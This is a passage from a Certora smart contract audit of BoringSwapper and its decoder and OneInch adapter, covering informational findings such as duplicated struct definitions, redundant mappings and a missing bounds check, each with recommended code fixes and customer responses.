Alternatively, store a snapshot of the filled amount at the point the on-chain data is still reliable (e.g., via a keeper that records it before expiry), and use that snapshot in `_cancelOrder` rather than querying the live settlement state. A simpler mitigation is to forbid cancellation of CoW orders after `validTo`, requiring the principal to be recovered through a separate, authorised path that is aware of the off-chain settlement history.

Customer Response:

Acknowledged. Bot is trusted to act on this and funds are recoverable if this path does happen.

Informational Severity Issues

I-01: `BoringSwapperDecoder` uses a duplicate `SwapConfig` struct instead of `ISwapperTypes.SwapConfig`

Files:

/src/base/DecodersAndSanitizers/Protocols/BoringSwapperDecoderAndSanitizer.sol

Description:

`BoringSwapperDecoder` imports and decodes calldata using `DecoderCustomTypes.SwapConfig` and `DecoderCustomTypes.TokenRoute`, which are defined independently from the canonical `ISwapperTypes.SwapConfig` and `ISwapperTypes.TokenRoute` used by `BoringSwapper`.

In `DecoderCustomTypes`:

```
    struct TokenRoute {
        address tokenIn;
        address tokenOut;
    }

    struct SwapConfig {
        TokenRoute tokenRoute;
        address adapter;
        address quoteAsset;
        bytes swapData;
        uint256 slippageBps;
        address receiver;
    }
```

And in `ISwapperTypes`:

```
    struct TokenRoute {
        ERC20 tokenIn;
        ERC20 tokenOut;
    }

    struct SwapConfig {
```

```
        TokenRoute tokenRoute;
        address adapter;
        address quoteAsset;
        bytes swapData;
        uint256 slippageBps;
        BoringVault receiver;
    }
```

The two definitions are currently ABI-equivalent (`ERC20` and `BoringVault` are contract types that encode as `address`), so the function selectors produced by the decoder match those of `BoringSwapper`:

Function

Selector

`swap(((address,address),address,address,bytes,uint256,address))`

`f1c20222`

`submitOrder(((address,address),address,address,bytes,uint256,address))`

`640f062d`

`cancelOrder(uint256,((address,address),address,address,bytes,uint256,address),bytes)`

`2d78c152`

`replaceOrder(uint256,((address,address),address,address,bytes,uint256,address),bytes,((address,address),address,address,bytes,uint256,address))`

`8321daef`

However, the duplication creates a silent divergence danger: if a field is added, reordered, or modified in `ISwapperTypes.SwapConfig`, `BoringSwapper`'s function selectors will change. Because `BoringSwapperDecoder` references `DecoderCustomTypes`'s version of the struct, its selectors would remain unchanged. The `ManagerWithMerkleVerification` layer relies on the decoder to correctly identify and sanitize calls to `BoringSwapper`; a selector mismatch means those calls would revert because the selectors being called would not exist in the decoder.

In `ManagerWithMerkleVerification`:

```
    function _verifyCallData(
        bytes32 currentManageRoot,
        bytes32[] calldata manageProof,
        address decoderAndSanitizer,
        address target,
        uint256 value,
        bytes calldata targetData
    ) internal view {
        // Use address decoder to get addresses in call data.
        bytes memory packedArgumentAddresses =
abi.decode(decoderAndSanitizer.functionStaticCall(targetData), (bytes));
        ...
```

The above static call would revert since the selector would not be present in the `decoderAndSanitizer` contract.

Recommendations:

Remove the `SwapConfig` and `TokenRoute` struct definitions from `DecoderCustomTypes` and import `ISwapperTypes` directly in `BoringSwapperDecoder`:

```
- import {DecoderCustomTypes} from "src/interfaces/DecoderCustomTypes.sol";
+ import {ISwapperTypes} from "src/interfaces/ISwapperTypes.sol";
...
- function swap(DecoderCustomTypes.SwapConfig memory swapConfig) external pure
returns (bytes memory addressesFound) {
+ function swap(ISwapperTypes.SwapConfig memory swapConfig) external pure returns
(bytes memory addressesFound) {
...
- function submitOrder(DecoderCustomTypes.SwapConfig memory swapConfig) external
pure returns (bytes memory addressesFound) {
+ function submitOrder(ISwapperTypes.SwapConfig memory swapConfig) external pure
returns (bytes memory addressesFound) {
...
function cancelOrder(
    uint256 /*orderId*/,
-   DecoderCustomTypes.SwapConfig memory cancelConfig,
+   ISwapperTypes.SwapConfig memory cancelConfig,
```

```
    bytes calldata /*cancelData*/
) external pure returns (bytes memory addressesFound) {
...
function replaceOrder(
    uint256,
-   DecoderCustomTypes.SwapConfig memory cancelConfig,
+   ISwapperTypes.SwapConfig memory cancelConfig,
    bytes calldata /*cancelData*/,
-   DecoderCustomTypes.SwapConfig memory newConfig
+   ISwapperTypes.SwapConfig memory newConfig
) external pure returns (bytes memory addressesFound) {
...
```

This ensures the decoder's parameter types are always identical to `BoringSwapper`'s, so any future change to `ISwapperTypes.SwapConfig` is reflected in both contracts simultaneously.

Customer Response:

Acknowledged.

I-02: Refund amount can be calculated once and re-used in `_cancelOrder`

Files:

src/base/Periphery/BoringSwapper.sol#L281

Description:

The `_cancelOrder()` function calculates `refund` as `record.inputAmount - filledAmount`.

The `reducedAllowance` variable uses this exact formula as well, making it redundant.

Recommendations:

Compute `refund` before and re-use it for the `reducedAllowance` calculation to make the code easier to understand.

Customer Response:

Acknowledged.

I-03: approvedHashes and hashToOrder are redundant mappings

Files:

/src/base/Periphery/BoringSwapper.sol

Description:

`BoringSwapper` maintains two mappings over the same set of order hashes:

```
    /// @notice tracks order hashes approved via submitOrder — only these can be filled
    mapping(bytes32 orderHash => bool approved) public approvedHashes;

    /// @notice tracks the relationship between the approved hash and the order number
    mapping(bytes32 orderHash => uint256 orderId) public hashToOrder;
```

Both are written together in `_limitOrderPreFlightCheck` (once **`hashToOrder` is never populated, so `isValidSignature` will always validate against the first order record** is fixed) and cleared together in `_cancelOrder` and `releaseFee`. After the **`hashToOrder` is never populated, so `isValidSignature` will always validate against the first order record** fix and starting `orders` at `1` instead of `0`, the invariant `hashToOrder[h] > 0 <=> approvedHashes[h] == true` holds exactly: a non-zero `hashToOrder` entry is sufficient to determine that the hash is approved, and `approvedHashes` adds no information.

`isValidSignature` currently uses `approvedHashes` for the approval check and `hashToOrder` for the orderId lookup. Both operations could be unified with a single `hashToOrder[h] > 0` check and a single read.

Recommendations:

Set the starting value of `orders` at `1` instead of `0`. Also, remove `approvedHashes` and replace all `approvedHashes[h]` checks with `hashToOrder[h] > 0`. This removes one storage slot write per order submission and cancellation, and eliminates the possibility of the two mappings drifting out of sync in future code changes.

Customer Response:

Acknowledged.

I-04: `_extractCustomReceiver` does not validate `postInteractionEnd`, allowing PostInteractionData to be read from CustomData

Files:

/src/base/Periphery/adapters/OneInchAdapter.sol

Description:

`_extractCustomReceiver` reads `postInteractionStart` (bytes 4–7 of the offsets word) but never reads `postInteractionEnd` (bytes 0–3). As a result, it cannot determine how long the PostInteractionData field actually is. The function reads from the extension byte array starting at `postInteractionStart` and it can potentially access data from the next data block, which is CustomData.

Recommendations:

Read `postInteractionEnd` from the offsets word. The PostInteractionData field has a variable-length section (whitelist entries) after the fixed 81-byte header, so an exact size check is not straightforward. At minimum, the adapter should assert that `postInteractionEnd >= postInteractionStart + 81` (enough data to contain the fixed fields) and that the full PostInteractionData, including any fee data and tail, is within bounds before approving the order:

```
uint32 postInteractionStart;
+ uint32 postInteractionEnd;
assembly {
    postInteractionStart := shr(224, mload(add(extension, 36)))
+   postInteractionEnd   := shr(224, mload(add(extension, 32)))
}
uint256 piOffset = 32 + uint256(postInteractionStart);
+ uint256 piEnd   = 32 + uint256(postInteractionEnd);
- if (extension.length < piOffset + 81) revert
OneInchAdapter__CustomReceiverOutOfBounds();
+ if (piEnd < piOffset + 81 || extension.length < piEnd) revert
OneInchAdapter__CustomReceiverOutOfBounds();
```

Customer Response:

Fixed in commit ac89958.

Fix Review:

Fix confirmed.

Disclaimer

Even though we hope this information is helpful, we provide no warranty of any kind, explicit or implied. The contents of this report should not be construed as a complete guarantee that the contract is secure in all dimensions. In no event shall Certora or any of its employees be liable for any claim, damages, or other liability, whether in an action of contract, tort, or otherwise, arising from, out of, or in connection with the results reported here.

About Certora

Certora is a Web3 security company that provides industry-leading formal verification tools and smart contract audits. Certora's flagship security product, Certora Prover, is a unique SaaS product that automatically locates even the most rare & hard-to-find bugs on your smart contracts or mathematically proves their absence. The Certora Prover plugs into your standard deployment pipeline and is widely used by developers and security researchers during audits and bug bounties.

Certora also provides architectural design reviews, where researchers analyze system design and trust boundaries early to identify structural risks and reduce complexity before implementation.

Certora conducts off-chain audits covering backend services, APIs, frontend, and mobile applications, focusing on vulnerabilities in authentication, data handling, key management, and wallet-related workflows.

Certora also offers Penetration Testing and Red Teaming to simulate real-world attacks and uncover exploitable weaknesses across infrastructure, applications, and business logic.

In addition, Certora provides operational security (OpSec) assessments, reviewing key management, access controls, and operational processes to strengthen overall security posture.

Finally, Certora delivers ongoing monitoring and incident response, enabling continuous threat detection and prevention, alert triage, and coordinated response to active incidents.